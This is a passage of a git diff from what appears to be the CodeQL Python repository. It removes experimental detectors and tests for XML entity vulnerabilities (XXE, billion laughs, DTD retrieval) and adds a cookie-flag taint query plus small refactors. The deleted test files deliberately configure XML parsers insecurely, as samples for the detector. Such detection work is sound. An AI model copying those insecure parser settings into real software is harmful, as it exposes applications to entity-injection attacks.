-   * Gets a reference to a XML sax parser that has `feature_external_ges` turned on.
-   *
-   * See https://docs.python.org/3/library/xml.sax.handler.html#xml.sax.handler.feature_external_ges
-   */
-  private DataFlow::Node saxParserWithFeatureExternalGesTurnedOn(DataFlow::TypeTracker t) {
-    t.start() and
-    exists(SaxParserSetFeatureCall call |
-      call.getFeatureArg().getARhs() =
-        API::moduleImport("xml")
-            .getMember("sax")
-            .getMember("handler")
-            .getMember("feature_external_ges")
-            .getAUse() and
-      call.getStateArg().getAValueReachingRhs().asExpr().(BooleanLiteral).booleanValue() = true and
-      result = call.getObject()
-    )
-    or
-    exists(DataFlow::TypeTracker t2 |
-      t = t2.smallstep(saxParserWithFeatureExternalGesTurnedOn(t2), result)
-    ) and
-    // take account of that we can set the feature to False, which makes the parser safe again
-    not exists(SaxParserSetFeatureCall call |
-      call.getObject() = result and
-      call.getFeatureArg().getARhs() =
-        API::moduleImport("xml")
-            .getMember("sax")
-            .getMember("handler")
-            .getMember("feature_external_ges")
-            .getAUse() and
-      call.getStateArg().getAValueReachingRhs().asExpr().(BooleanLiteral).booleanValue() = false
-    )
-  }
-
-  /**
-   * Gets a reference to a XML sax parser that has `feature_external_ges` turned on.
-   *
-   * See https://docs.python.org/3/library/xml.sax.handler.html#xml.sax.handler.feature_external_ges
-   */
-  DataFlow::Node saxParserWithFeatureExternalGesTurnedOn() {
-    result = saxParserWithFeatureExternalGesTurnedOn(DataFlow::TypeTracker::end())
-  }
-
-  /**
-   * A call to the `parse` method on a SAX XML parser.
-   */
-  private class XMLSaxInstanceParsing extends DataFlow::MethodCallNode, XML::XMLParsing::Range {
-    XMLSaxInstanceParsing() {
-      this =
-        API::moduleImport("xml")
-            .getMember("sax")
-            .getMember("make_parser")
-            .getReturn()
-            .getMember("parse")
-            .getACall()
-    }
-
-    override DataFlow::Node getAnInput() { result in [this.getArg(0), this.getArgByName("source")] }
-
-    override predicate vulnerableTo(XML::XMLVulnerabilityKind kind) {
-      // always vuln to these
-      (kind.isBillionLaughs() or kind.isQuadraticBlowup())
-      or
-      // can be vuln to other things if features has been turned on
-      this.getObject() = saxParserWithFeatureExternalGesTurnedOn() and
-      (kind.isXxe() or kind.isDtdRetrieval())
-    }
-  }
-
-  /**
-   * A call to either `parse` or `parseString` from `xml.sax` module.
-   *
-   * See:
-   * - https://docs.python.org/3.10/library/xml.sax.html#xml.sax.parse
-   * - https://docs.python.org/3.10/library/xml.sax.html#xml.sax.parseString
-   */
-  private class XMLSaxParsing extends DataFlow::MethodCallNode, XML::XMLParsing::Range {
-    XMLSaxParsing() {
-      this =
-        API::moduleImport("xml").getMember("sax").getMember(["parse", "parseString"]).getACall()
-    }
-
-    override DataFlow::Node getAnInput() {
-      result in [
-          this.getArg(0),
-          // parseString
-          this.getArgByName("string"),
-          // parse
-          this.getArgByName("source"),
-        ]
-    }
-
-    override predicate vulnerableTo(XML::XMLVulnerabilityKind kind) {
-      // always vuln to these
-      (kind.isBillionLaughs() or kind.isQuadraticBlowup())
-      or
-      // can be vuln to other things if features has been turned on
-      this.getObject() = saxParserWithFeatureExternalGesTurnedOn() and
-      (kind.isXxe() or kind.isDtdRetrieval())
-    }
-  }
-
-  /**
-   * A call to the `parse` or `parseString` methods from `xml.dom.minidom` or `xml.dom.pulldom`.
-   *
-   * Both of these modules are based on SAX parsers.
-   */
-  private class XMLDomParsing extends DataFlow::CallCfgNode, XML::XMLParsing::Range {
-    XMLDomParsing() {
-      this =
-        API::moduleImport("xml")
-            .getMember("dom")
-            .getMember(["minidom", "pulldom"])
-            .getMember(["parse", "parseString"])
-            .getACall()
-    }
-
-    override DataFlow::Node getAnInput() {
-      result in [
-          this.getArg(0),
-          // parseString
-          this.getArgByName("string"),
-          // minidom.parse
-          this.getArgByName("file"),
-          // pulldom.parse
-          this.getArgByName("stream_or_string"),
-        ]
-    }
-
-    DataFlow::Node getParserArg() { result in [this.getArg(1), this.getArgByName("parser")] }
-
-    override predicate vulnerableTo(XML::XMLVulnerabilityKind kind) {
-      this.getParserArg() = saxParserWithFeatureExternalGesTurnedOn() and
-      (kind.isXxe() or kind.isDtdRetrieval())
-      or
-      (kind.isBillionLaughs() or kind.isQuadraticBlowup())
-    }
-  }
-}
-
-private module Lxml {
-  /**
-   * Provides models for `lxml.etree` parsers.
-   *
-   * See https://lxml.de/apidoc/lxml.etree.html?highlight=xmlparser#lxml.etree.XMLParser
-   */
-  module XMLParser {
-    /**
-     * A source of instances of `lxml.etree` parsers, extend this class to model new instances.
-     *
-     * This can include instantiations of the class, return values from function
-     * calls, or a special parameter that will be set when functions are called by an external
-     * library.
-     *
-     * Use the predicate `XMLParser::instance()` to get references to instances of `lxml.etree` parsers.
-     */
-    abstract class InstanceSource extends DataFlow::LocalSourceNode {
-      /** Holds if this instance is vulnerable to `kind`. */
-      abstract predicate vulnerableTo(XML::XMLVulnerabilityKind kind);
-    }
-
-    /**
-     * A call to `lxml.etree.XMLParser`.
-     *
-     * See https://lxml.de/apidoc/lxml.etree.html?highlight=xmlparser#lxml.etree.XMLParser
-     */
-    private class LXMLParser extends InstanceSource, DataFlow::CallCfgNode {
-      LXMLParser() {
-        this = API::moduleImport("lxml").getMember("etree").getMember("XMLParser").getACall()
-      }
-
-      // NOTE: it's not possible to change settings of a parser after constructing it
-      override predicate vulnerableTo(XML::XMLVulnerabilityKind kind) {
-        kind.isXxe() and
-        (
-          // resolve_entities has default True
-          not exists(this.getArgByName("resolve_entities"))
-          or
-          this.getArgByName("resolve_entities").getALocalSource().asExpr() = any(True t)
-        )
-        or
-        (kind.isBillionLaughs() or kind.isQuadraticBlowup()) and
-        this.getArgByName("huge_tree").getALocalSource().asExpr() = any(True t) and
-        not this.getArgByName("resolve_entities").getALocalSource().asExpr() = any(False t)
-        or
-        kind.isDtdRetrieval() and
-        this.getArgByName("load_dtd").getALocalSource().asExpr() = any(True t) and
-        this.getArgByName("no_network").getALocalSource().asExpr() = any(False t)
-      }
-    }
-
-    /**
-     * A call to `lxml.etree.get_default_parser`.
-     *
-     * See https://lxml.de/apidoc/lxml.etree.html?highlight=xmlparser#lxml.etree.get_default_parser
-     */
-    private class LXMLDefaultParser extends InstanceSource, DataFlow::CallCfgNode {
-      LXMLDefaultParser() {
-        this =
-          API::moduleImport("lxml").getMember("etree").getMember("get_default_parser").getACall()
-      }
-
-      override predicate vulnerableTo(XML::XMLVulnerabilityKind kind) {
-        // as highlighted by
-        // https://lxml.de/apidoc/lxml.etree.html?highlight=xmlparser#lxml.etree.XMLParser
-        // by default XXE is allow. so as long as the default parser has not been
-        // overridden, the result is also vuln to XXE.
-        kind.isXxe()
-        // TODO: take into account that you can override the default parser with `lxml.etree.set_default_parser`.
-      }
-    }
-
-    /** Gets a reference to an `lxml.etree` parsers instance, with origin in `origin` */
-    private DataFlow::TypeTrackingNode instance(DataFlow::TypeTracker t, InstanceSource origin) {
-      t.start() and
-      result = origin
-      or
-      exists(DataFlow::TypeTracker t2 | result = instance(t2, origin).track(t2, t))
-    }
-
-    /** Gets a reference to an `lxml.etree` parsers instance, with origin in `origin` */
-    DataFlow::Node instance(InstanceSource origin) {
-      instance(DataFlow::TypeTracker::end(), origin).flowsTo(result)
-    }
-
-    /** Gets a reference to an `lxml.etree` parser instance, that is vulnerable to `kind`. */
-    DataFlow::Node instanceVulnerableTo(XML::XMLVulnerabilityKind kind) {
-      exists(InstanceSource origin | result = instance(origin) and origin.vulnerableTo(kind))
-    }
-
-    /**
-     * A call to the `feed` method of an `lxml` parser.
-     */
-    private class LXMLParserFeedCall extends DataFlow::MethodCallNode, XML::XMLParsing::Range {
-      LXMLParserFeedCall() { this.calls(instance(_), "feed") }
-
-      override DataFlow::Node getAnInput() { result in [this.getArg(0), this.getArgByName("data")] }
-
-      override predicate vulnerableTo(XML::XMLVulnerabilityKind kind) {
-        this.calls(instanceVulnerableTo(kind), "feed")
-      }
-    }
-  }
-
-  /**
-   * A call to either of:
-   * - `lxml.etree.fromstring`
-   * - `lxml.etree.fromstringlist`
-   * - `lxml.etree.XML`
-   * - `lxml.etree.parse`
-   * - `lxml.etree.parseid`
-   *
-   * See https://lxml.de/apidoc/lxml.etree.html?highlight=parseids#lxml.etree.fromstring
-   */
-  private class LXMLParsing extends DataFlow::CallCfgNode, XML::XMLParsing::Range {
-    LXMLParsing() {
-      this =
-        API::moduleImport("lxml")
-            .getMember("etree")
-            .getMember(["fromstring", "fromstringlist", "XML", "parse", "parseid"])
-            .getACall()
-    }
-
-    override DataFlow::Node getAnInput() {
-      result in [
-          this.getArg(0),
-          // fromstring / XML
-          this.getArgByName("text"),
-          // fromstringlist
-          this.getArgByName("strings"),
-          // parse / parseid
-          this.getArgByName("source"),
-        ]
-    }
-
-    DataFlow::Node getParserArg() { result in [this.getArg(1), this.getArgByName("parser")] }
-
-    override predicate vulnerableTo(XML::XMLVulnerabilityKind kind) {
-      this.getParserArg() = XMLParser::instanceVulnerableTo(kind)
-      or
-      kind.isXxe() and
-      not exists(this.getParserArg())
-    }
-  }
-}
-
-private module Xmltodict {
-  /**
-   * A call to `xmltodict.parse`.
-   */
-  private class XMLtoDictParsing extends DataFlow::CallCfgNode, XML::XMLParsing::Range {
-    XMLtoDictParsing() { this = API::moduleImport("xmltodict").getMember("parse").getACall() }
-
-    override DataFlow::Node getAnInput() {
-      result in [this.getArg(0), this.getArgByName("xml_input")]
-    }
-
-    override predicate vulnerableTo(XML::XMLVulnerabilityKind kind) {
-      (kind.isBillionLaughs() or kind.isQuadraticBlowup()) and
-      this.getArgByName("disable_entities").getALocalSource().asExpr() = any(False f)
-    }
-  }
-}
diff --git a/python/ql/src/experimental/semmle/python/libraries/Authlib.qll b/python/ql/src/experimental/semmle/python/libraries/Authlib.qll
index f8121630e39..afb80950ea6 100644
--- a/python/ql/src/experimental/semmle/python/libraries/Authlib.qll
+++ b/python/ql/src/experimental/semmle/python/libraries/Authlib.qll
@@ -43,7 +43,7 @@ private module Authlib {
     override DataFlow::Node getAlgorithm() {
       exists(KeyValuePair headerDict |
         headerDict = this.getArg(0).asExpr().(Dict).getItem(_) and
-        headerDict.getKey().(Str_).getS().matches("alg") and
+        headerDict.getKey().(Str_).getS() = "alg" and
         result.asExpr() = headerDict.getValue()
       )
     }
diff --git a/python/ql/src/experimental/semmle/python/security/dataflow/XmlEntityInjection.qll b/python/ql/src/experimental/semmle/python/security/dataflow/XmlEntityInjection.qll
deleted file mode 100644
index 35220e153d1..00000000000
--- a/python/ql/src/experimental/semmle/python/security/dataflow/XmlEntityInjection.qll
+++ /dev/null
@@ -1,28 +0,0 @@
-import python
-import experimental.semmle.python.Concepts
-import semmle.python.dataflow.new.DataFlow
-import semmle.python.dataflow.new.TaintTracking
-import semmle.python.dataflow.new.RemoteFlowSources
-import semmle.python.dataflow.new.BarrierGuards
-
-module XmlEntityInjection {
-  import XmlEntityInjectionCustomizations::XmlEntityInjection
-
-  class XmlEntityInjectionConfiguration extends TaintTracking::Configuration {
-    XmlEntityInjectionConfiguration() { this = "XmlEntityInjectionConfiguration" }
-
-    override predicate isSource(DataFlow::Node source) {
-      source instanceof RemoteFlowSourceAsSource
-    }
-
-    override predicate isSink(DataFlow::Node sink) { sink instanceof Sink }
-
-    override predicate isSanitizerGuard(DataFlow::BarrierGuard guard) {
-      guard instanceof SanitizerGuard
-    }
-
-    override predicate isAdditionalTaintStep(DataFlow::Node nodeFrom, DataFlow::Node nodeTo) {
-      any(AdditionalTaintStep s).step(nodeFrom, nodeTo)
-    }
-  }
-}
diff --git a/python/ql/src/experimental/semmle/python/security/dataflow/XmlEntityInjectionCustomizations.qll b/python/ql/src/experimental/semmle/python/security/dataflow/XmlEntityInjectionCustomizations.qll
deleted file mode 100644
index e420c738a97..00000000000
--- a/python/ql/src/experimental/semmle/python/security/dataflow/XmlEntityInjectionCustomizations.qll
+++ /dev/null
@@ -1,86 +0,0 @@
-/**
- * Provides default sources, sinks and sanitizers for detecting
- * "ldap injection"
- * vulnerabilities, as well as extension points for adding your own.
- */
-
-private import python
-private import semmle.python.dataflow.new.DataFlow
-private import experimental.semmle.python.Concepts
-private import semmle.python.dataflow.new.RemoteFlowSources
-private import semmle.python.dataflow.new.BarrierGuards
-private import semmle.python.ApiGraphs
-
-/**
- * Provides default sources, sinks and sanitizers for detecting "xml injection"
- * vulnerabilities, as well as extension points for adding your own.
- */
-module XmlEntityInjection {
-  /**
-   * A data flow source for "xml injection" vulnerabilities.
-   */
-  abstract class Source extends DataFlow::Node { }
-
-  /**
-   * A data flow sink for "xml injection" vulnerabilities.
-   */
-  abstract class Sink extends DataFlow::Node {
-    /** Gets the kind of XML injection that this sink is vulnerable to. */
-    abstract string getVulnerableKind();
-  }
-
-  /**
-   * A sanitizer guard for "xml injection" vulnerabilities.
-   */
-  abstract class SanitizerGuard extends DataFlow::BarrierGuard { }
-
-  /**
-   * A unit class for adding additional taint steps.
-   *
-   * Extend this class to add additional taint steps that should apply to `XmlEntityInjection`
-   * taint configuration.
-   */
-  class AdditionalTaintStep extends Unit {
-    /**
-     * Holds if the step from `nodeFrom` to `nodeTo` should be considered a taint
-     * step for `XmlEntityInjection` configuration.
-     */
-    abstract predicate step(DataFlow::Node nodeFrom, DataFlow::Node nodeTo);
-  }
-
-  /**
-   * An input to a direct XML parsing function, considered as a flow sink.
-   *
-   * See `XML::XMLParsing`.
-   */
-  class XMLParsingInputAsSink extends Sink {
-    ExperimentalXML::XMLParsing xmlParsing;
-
-    XMLParsingInputAsSink() { this = xmlParsing.getAnInput() }
-
-    override string getVulnerableKind() { xmlParsing.vulnerableTo(result) }
-  }
-
-  /**
-   * A source of remote user input, considered as a flow source.
-   */
-  class RemoteFlowSourceAsSource extends Source, RemoteFlowSource { }
-
-  /**
-   * A comparison with a constant string, considered as a sanitizer-guard.
-   */
-  class StringConstCompareAsSanitizerGuard extends SanitizerGuard, StringConstCompare { }
-
-  /**
-   * A taint step for `io`'s `StringIO` and `BytesIO` methods.
-   */
-  class IoAdditionalTaintStep extends AdditionalTaintStep {
-    override predicate step(DataFlow::Node nodeFrom, DataFlow::Node nodeTo) {
-      exists(DataFlow::CallCfgNode ioCalls |
-        ioCalls = API::moduleImport("io").getMember(["StringIO", "BytesIO"]).getACall() and
-        nodeFrom = ioCalls.getArg(0) and
-        nodeTo = ioCalls
-      )
-    }
-  }
-}
diff --git a/python/ql/src/experimental/semmle/python/security/injection/CookieInjection.qll b/python/ql/src/experimental/semmle/python/security/injection/CookieInjection.qll
new file mode 100644
index 00000000000..87f3b1fd76b
--- /dev/null
+++ b/python/ql/src/experimental/semmle/python/security/injection/CookieInjection.qll
@@ -0,0 +1,40 @@
+import python
+import experimental.semmle.python.Concepts
+import semmle.python.dataflow.new.DataFlow
+import semmle.python.dataflow.new.TaintTracking
+import semmle.python.dataflow.new.RemoteFlowSources
+
+class CookieSink extends DataFlow::Node {
+  string flag;
+
+  CookieSink() {
+    exists(Cookie cookie |
+      this in [cookie.getNameArg(), cookie.getValueArg()] and
+      (
+        not cookie.isSecure() and
+        flag = "secure"
+        or
+        not cookie.isHttpOnly() and
+        flag = "httponly"
+        or
+        not cookie.isSameSite() and
+        flag = "samesite"
+      )
+    )
+  }
+
+  string getFlag() { result = flag }
+}
+
+/**
+ * A taint-tracking configuration for detecting Cookie injections.
+ */
+class CookieInjectionFlowConfig extends TaintTracking::Configuration {
+  CookieInjectionFlowConfig() { this = "CookieInjectionFlowConfig" }
+
+  override predicate isSource(DataFlow::Node source) { source instanceof RemoteFlowSource }
+
+  override predicate isSink(DataFlow::Node sink) {
+    exists(Cookie c | sink in [c.getNameArg(), c.getValueArg()])
+  }
+}
diff --git a/python/ql/src/external/Thrift.qll b/python/ql/src/external/Thrift.qll
index cbaf562cbc4..330aab7ee3f 100644
--- a/python/ql/src/external/Thrift.qll
+++ b/python/ql/src/external/Thrift.qll
@@ -104,28 +104,28 @@ class ThriftType extends ThriftNamedElement {
 
 /** A thrift typedef */
 class ThriftTypeDef extends ThriftNamedElement {
-  ThriftTypeDef() { kind.matches("typedef") }
+  ThriftTypeDef() { kind = "typedef" }
 
   override ThriftElement getNameElement() { result = this.getChild(2).getChild(0) }
 }
 
 /** A thrift enum declaration */
 class ThriftEnum extends ThriftNamedElement {
-  ThriftEnum() { kind.matches("enum") }
+  ThriftEnum() { kind = "enum" }
 
   override ThriftElement getNameElement() { result = this.getChild(0).getChild(0) }
 }
 
 /** A thrift enum field */
 class ThriftEnumField extends ThriftNamedElement {
-  ThriftEnumField() { kind.matches("enumfield") }
+  ThriftEnumField() { kind = "enumfield" }
 
   override ThriftElement getNameElement() { result = this.getChild(0).getChild(0) }
 }
 
 /** A thrift service declaration */
 class ThriftService extends ThriftNamedElement {
-  ThriftService() { kind.matches("service") }
+  ThriftService() { kind = "service" }
 
   override ThriftElement getNameElement() { result = this.getChild(0).getChild(0) }
 
@@ -139,7 +139,7 @@ class ThriftService extends ThriftNamedElement {
 
 /** A thrift function declaration */
 class ThriftFunction extends ThriftNamedElement {
-  ThriftFunction() { kind.matches("function") }
+  ThriftFunction() { kind = "function" }
 
   override ThriftElement getNameElement() { result = this.getChild(2).getChild(0) }
 
@@ -166,7 +166,7 @@ class ThriftFunction extends ThriftNamedElement {
 }
 
 class ThriftField extends ThriftNamedElement {
-  ThriftField() { kind.matches("field") }
+  ThriftField() { kind = "field" }
 
   override ThriftElement getNameElement() { result = this.getChild(4) }
 
@@ -174,7 +174,7 @@ class ThriftField extends ThriftNamedElement {
 }
 
 class ThriftStruct extends ThriftNamedElement {
-  ThriftStruct() { kind.matches("struct") }
+  ThriftStruct() { kind = "struct" }
 
   override ThriftElement getNameElement() { result = this.getChild(0).getChild(0) }
 
@@ -184,7 +184,7 @@ class ThriftStruct extends ThriftNamedElement {
 }
 
 class ThriftException extends ThriftNamedElement {
-  ThriftException() { kind.matches("exception") }
+  ThriftException() { kind = "exception" }
 
   override ThriftElement getNameElement() { result = this.getChild(0).getChild(0) }
 
@@ -194,7 +194,7 @@ class ThriftException extends ThriftNamedElement {
 }
 
 class ThriftThrows extends ThriftElement {
-  ThriftThrows() { kind.matches("throws") }
+  ThriftThrows() { kind = "throws" }
 
   ThriftField getAThrows() { result = this.getChild(_) }
 }
diff --git a/python/ql/src/qlpack.yml b/python/ql/src/qlpack.yml
index 9de94d9cde3..9e43fd7246f 100644
--- a/python/ql/src/qlpack.yml
+++ b/python/ql/src/qlpack.yml
@@ -1,5 +1,5 @@
 name: codeql/python-queries
-version: 0.1.1-dev
+version: 0.1.3-dev
 groups: 
   - python
   - queries
diff --git a/python/ql/test/TestUtilities/InlineExpectationsTest.qll b/python/ql/test/TestUtilities/InlineExpectationsTest.qll
index a4d264b2703..3891fcf13a1 100644
--- a/python/ql/test/TestUtilities/InlineExpectationsTest.qll
+++ b/python/ql/test/TestUtilities/InlineExpectationsTest.qll
@@ -181,7 +181,7 @@ private string expectationCommentPattern() { result = "\\s*\\$((?:[^/]|/[^/])*)(
 /**
  * The possible columns in an expectation comment. The `TDefaultColumn` branch represents the first
  * column in a comment. This column is not precedeeded by a name. `TNamedColumn(name)` represents a
- * column containing expected results preceeded by the string `name:`.
+ * column containing expected results preceded by the string `name:`.
  */
 private newtype TColumn =
   TDefaultColumn() or
diff --git a/python/ql/test/experimental/dataflow/qll-private-imports/README.md b/python/ql/test/experimental/dataflow/qll-private-imports/README.md
new file mode 100644
index 00000000000..f11beca34d9
--- /dev/null
+++ b/python/ql/test/experimental/dataflow/qll-private-imports/README.md
@@ -0,0 +1,3 @@
+Sometimes we accidentally re-export too much from `DataFlow` such that for example we can access `Add` from `DataFlow::Add` :disappointed:
+
+This test should always FAIL to compile!
diff --git a/python/ql/test/experimental/dataflow/qll-private-imports/Test.expected b/python/ql/test/experimental/dataflow/qll-private-imports/Test.expected
new file mode 100644
index 00000000000..c0963a9ef61
--- /dev/null
+++ b/python/ql/test/experimental/dataflow/qll-private-imports/Test.expected
@@ -0,0 +1 @@
+ERROR: Could not resolve type DataFlow::Add (Test.ql:7,6-19)
diff --git a/python/ql/test/experimental/dataflow/qll-private-imports/Test.ql b/python/ql/test/experimental/dataflow/qll-private-imports/Test.ql
new file mode 100644
index 00000000000..302504fcf96
--- /dev/null
+++ b/python/ql/test/experimental/dataflow/qll-private-imports/Test.ql
@@ -0,0 +1,8 @@
+import python
+private import semmle.python.dataflow.new.DataFlow
+
+// Sometimes we accidentally re-export too much from `DataFlow` such that for example we can access `Add` from `DataFlow::Add` :(
+//
+// This test should always FAIL to compile!
+from DataFlow::Add this_should_not_work
+select this_should_not_work
diff --git a/python/ql/test/experimental/dataflow/qll-private-imports/test.py b/python/ql/test/experimental/dataflow/qll-private-imports/test.py
new file mode 100644
index 00000000000..c040fa67d34
--- /dev/null
+++ b/python/ql/test/experimental/dataflow/qll-private-imports/test.py
@@ -0,0 +1 @@
+1+1
diff --git a/python/ql/test/experimental/dataflow/testConfig.qll b/python/ql/test/experimental/dataflow/testConfig.qll
index 90bd1d47978..03815e2f7f9 100644
--- a/python/ql/test/experimental/dataflow/testConfig.qll
+++ b/python/ql/test/experimental/dataflow/testConfig.qll
@@ -8,7 +8,7 @@
  *      s = SOURCE
  *      SINK(s)
  * ```
- * `SOURCE` will be a source and the second occurance of `s` will be a sink.
+ * `SOURCE` will be a source and the second occurrence of `s` will be a sink.
  *
  * In order to test literals, alternative sources are defined for each type:
  *
diff --git a/python/ql/test/experimental/dataflow/typetracking/attribute_tests.py b/python/ql/test/experimental/dataflow/typetracking/attribute_tests.py
index fc51f01aff7..2cc6346527f 100644
--- a/python/ql/test/experimental/dataflow/typetracking/attribute_tests.py
+++ b/python/ql/test/experimental/dataflow/typetracking/attribute_tests.py
@@ -49,6 +49,24 @@ def test_create_with_foo():
     x = create_with_foo() # $ tracked=foo
     print(x.foo) # $ tracked=foo tracked
 
+def test_global_attribute_assignment():
+    global global_var
+    global_var.foo = tracked # $ tracked tracked=foo
+
+def test_global_attribute_read():
+    x = global_var.foo # $ tracked tracked=foo
+
+def test_local_attribute_assignment():
+    # Same as `test_global_attribute_assignment`, but the assigned variable is not global
+    # In this case, we don't want flow going to the `ModuleVariableNode` for `local_var` 
+    # (which is referenced in `test_local_attribute_read`).
+    local_var = object() # $ tracked=foo
+    local_var.foo = tracked # $ tracked tracked=foo
+
+def test_local_attribute_read():
+    x = local_var.foo
+
+
 # ------------------------------------------------------------------------------
 # Attributes assigned statically to a class
 # ------------------------------------------------------------------------------
diff --git a/python/ql/test/experimental/dataflow/typetracking/tracked.ql b/python/ql/test/experimental/dataflow/typetracking/tracked.ql
index ffc1d43ca72..142e5b11639 100644
--- a/python/ql/test/experimental/dataflow/typetracking/tracked.ql
+++ b/python/ql/test/experimental/dataflow/typetracking/tracked.ql
@@ -131,7 +131,7 @@ DataFlow::Node foo() { foo(DataFlow::TypeTracker::end()).flowsTo(result) }
 /** Gets a reference to `foo.bar` (fictive module). */
 private DataFlow::TypeTrackingNode foo_bar(DataFlow::TypeTracker t) {
   t.start() and
-  result = API::moduleImport("foo.bar").getAnImmediateUse()
+  result = API::moduleImport("foo").getMember("bar").getAnImmediateUse()
   or
   t.startInAttr("bar") and
   result = foo()
@@ -145,7 +145,7 @@ DataFlow::Node foo_bar() { foo_bar(DataFlow::TypeTracker::end()).flowsTo(result)
 /** Gets a reference to `foo.bar.baz` (fictive attribute on `foo.bar` module). */
 private DataFlow::TypeTrackingNode foo_bar_baz(DataFlow::TypeTracker t) {
   t.start() and
-  result = API::moduleImport("foo.bar.baz").getAnImmediateUse()
+  result = API::moduleImport("foo").getMember("bar").getMember("baz").getAnImmediateUse()
   or
   t.startInAttr("baz") and
   result = foo_bar()
diff --git a/python/ql/test/experimental/library-tests/frameworks/XML/ExperimentalXmlConceptsTests.ql b/python/ql/test/experimental/library-tests/frameworks/XML/ExperimentalXmlConceptsTests.ql
deleted file mode 100644
index 81bc391d0e5..00000000000
--- a/python/ql/test/experimental/library-tests/frameworks/XML/ExperimentalXmlConceptsTests.ql
+++ /dev/null
@@ -1,33 +0,0 @@
-import python
-import experimental.semmle.python.Concepts
-import experimental.semmle.python.frameworks.Xml
-import semmle.python.dataflow.new.DataFlow
-import TestUtilities.InlineExpectationsTest
-private import semmle.python.dataflow.new.internal.PrintNode
-
-class XmlParsingTest extends InlineExpectationsTest {
-  XmlParsingTest() { this = "XmlParsingTest" }
-
-  override string getARelevantTag() { result in ["input", "vuln"] }
-
-  override predicate hasActualResult(Location location, string element, string tag, string value) {
-    exists(location.getFile().getRelativePath()) and
-    exists(XML::XMLParsing parsing |
-      exists(DataFlow::Node input |
-        input = parsing.getAnInput() and
-        location = input.getLocation() and
-        element = input.toString() and
-        value = prettyNodeForInlineTest(input) and
-        tag = "input"
-      )
-      or
-      exists(XML::XMLVulnerabilityKind kind |
-        parsing.vulnerableTo(kind) and
-        location = parsing.getLocation() and
-        element = parsing.toString() and
-        value = "'" + kind + "'" and
-        tag = "vuln"
-      )
-    )
-  }
-}
diff --git a/python/ql/test/experimental/library-tests/frameworks/XML/lxml_etree.py b/python/ql/test/experimental/library-tests/frameworks/XML/lxml_etree.py
deleted file mode 100644
index 22930a58af3..00000000000
--- a/python/ql/test/experimental/library-tests/frameworks/XML/lxml_etree.py
+++ /dev/null
@@ -1,54 +0,0 @@
-from io import StringIO
-import lxml.etree
-
-x = "some xml"
-
-# different parsing methods
-lxml.etree.fromstring(x) # $ input=x vuln='XXE'
-lxml.etree.fromstring(text=x) # $ input=x vuln='XXE'
-
-lxml.etree.fromstringlist([x]) # $ input=List vuln='XXE'
-lxml.etree.fromstringlist(strings=[x]) # $ input=List vuln='XXE'
-
-lxml.etree.XML(x) # $ input=x vuln='XXE'
-lxml.etree.XML(text=x) # $ input=x vuln='XXE'
-
-lxml.etree.parse(StringIO(x)) # $ input=StringIO(..) vuln='XXE'
-lxml.etree.parse(source=StringIO(x)) # $ input=StringIO(..) vuln='XXE'
-
-lxml.etree.parseid(StringIO(x)) # $ input=StringIO(..) vuln='XXE'
-lxml.etree.parseid(source=StringIO(x)) # $ input=StringIO(..) vuln='XXE'
-
-# With default parsers (nothing changed)
-parser = lxml.etree.XMLParser()
-lxml.etree.fromstring(x, parser=parser) # $ input=x vuln='XXE'
-
-parser = lxml.etree.get_default_parser()
-lxml.etree.fromstring(x, parser=parser) # $ input=x vuln='XXE'
-
-# manual use of feed method
-parser = lxml.etree.XMLParser()
-parser.feed(x) # $ input=x vuln='XXE'
-parser.feed(data=x) # $ input=x vuln='XXE'
-parser.close()
-
-# XXE-safe
-parser = lxml.etree.XMLParser(resolve_entities=False)
-lxml.etree.fromstring(x, parser) # $ input=x
-lxml.etree.fromstring(x, parser=parser) # $ input=x
-
-# XXE-vuln
-parser = lxml.etree.XMLParser(resolve_entities=True)
-lxml.etree.fromstring(x, parser=parser) # $ input=x vuln='XXE'
-
-# Billion laughs vuln (also XXE)
-parser = lxml.etree.XMLParser(huge_tree=True)
-lxml.etree.fromstring(x, parser=parser) # $ input=x vuln='Billion Laughs' vuln='Quadratic Blowup' vuln='XXE'
-
-# Safe for both Billion laughs and XXE
-parser = lxml.etree.XMLParser(resolve_entities=False, huge_tree=True)
-lxml.etree.fromstring(x, parser=parser) # $ input=x
-
-# DTD retrival vuln (also XXE)
-parser = lxml.etree.XMLParser(load_dtd=True, no_network=False)
-lxml.etree.fromstring(x, parser=parser) # $ input=x vuln='DTD retrieval' vuln='XXE'
diff --git a/python/ql/test/experimental/library-tests/frameworks/XML/poc/flag b/python/ql/test/experimental/library-tests/frameworks/XML/poc/flag
deleted file mode 100644
index 45c9436ee9f..00000000000
--- a/python/ql/test/experimental/library-tests/frameworks/XML/poc/flag
+++ /dev/null
@@ -1 +0,0 @@
-SECRET_FLAG
diff --git a/python/ql/test/experimental/library-tests/frameworks/XML/poc/this-dir-is-not-extracted b/python/ql/test/experimental/library-tests/frameworks/XML/poc/this-dir-is-not-extracted
deleted file mode 100644
index b1925ade1d3..00000000000
--- a/python/ql/test/experimental/library-tests/frameworks/XML/poc/this-dir-is-not-extracted
+++ /dev/null
@@ -1 +0,0 @@
-just FYI
diff --git a/python/ql/test/experimental/library-tests/frameworks/XML/xml_dom.py b/python/ql/test/experimental/library-tests/frameworks/XML/xml_dom.py
deleted file mode 100644
index 7dce29fc7b9..00000000000
--- a/python/ql/test/experimental/library-tests/frameworks/XML/xml_dom.py
+++ /dev/null
@@ -1,31 +0,0 @@
-from io import StringIO
-import xml.dom.minidom
-import xml.dom.pulldom
-import xml.sax
-
-x = "some xml"
-
-# minidom
-xml.dom.minidom.parse(StringIO(x)) # $ input=StringIO(..) vuln='Billion Laughs' vuln='Quadratic Blowup'
-xml.dom.minidom.parse(file=StringIO(x)) # $ input=StringIO(..) vuln='Billion Laughs' vuln='Quadratic Blowup'
-
-xml.dom.minidom.parseString(x) # $ input=x vuln='Billion Laughs' vuln='Quadratic Blowup'
-xml.dom.minidom.parseString(string=x) # $ input=x vuln='Billion Laughs' vuln='Quadratic Blowup'
-
-
-# pulldom
-xml.dom.pulldom.parse(StringIO(x))['START_DOCUMENT'][1] # $ input=StringIO(..) vuln='Billion Laughs' vuln='Quadratic Blowup'
-xml.dom.pulldom.parse(stream_or_string=StringIO(x))['START_DOCUMENT'][1] # $ input=StringIO(..) vuln='Billion Laughs' vuln='Quadratic Blowup'
-
-xml.dom.pulldom.parseString(x)['START_DOCUMENT'][1] # $ input=x vuln='Billion Laughs' vuln='Quadratic Blowup'
-xml.dom.pulldom.parseString(string=x)['START_DOCUMENT'][1] # $ input=x vuln='Billion Laughs' vuln='Quadratic Blowup'
-
-
-# These are based on SAX parses, and you can specify your own, so you can expose yourself to XXE (yay/)
-parser = xml.sax.make_parser()
